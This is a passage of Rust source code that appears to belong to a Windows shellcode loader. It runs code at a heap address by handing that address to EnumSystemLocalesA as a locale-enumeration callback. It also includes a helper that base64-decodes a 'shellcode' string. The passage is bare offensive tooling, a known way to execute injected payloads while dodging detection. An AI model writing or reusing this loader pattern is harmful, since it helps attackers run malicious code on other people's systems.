24 | EnumSystemLocalesA(transmute::<*mut winapi::ctypes::c_void, LOCALE_ENUMPROCA>(h_addr), 0);
25 | CloseHandle(h_heap);
26 | process::exit(0x0000);
27 | }
28 | }
29 |
30 | fn base64_decode(shellcode:String)->String{
31 | let x = base64::decode_config(shellcode,base64::STANDARD_NO_PAD).unwrap();
32 | String::from_utf8(x).unwrap()
33 | }
--------------------------------------------------------------------------------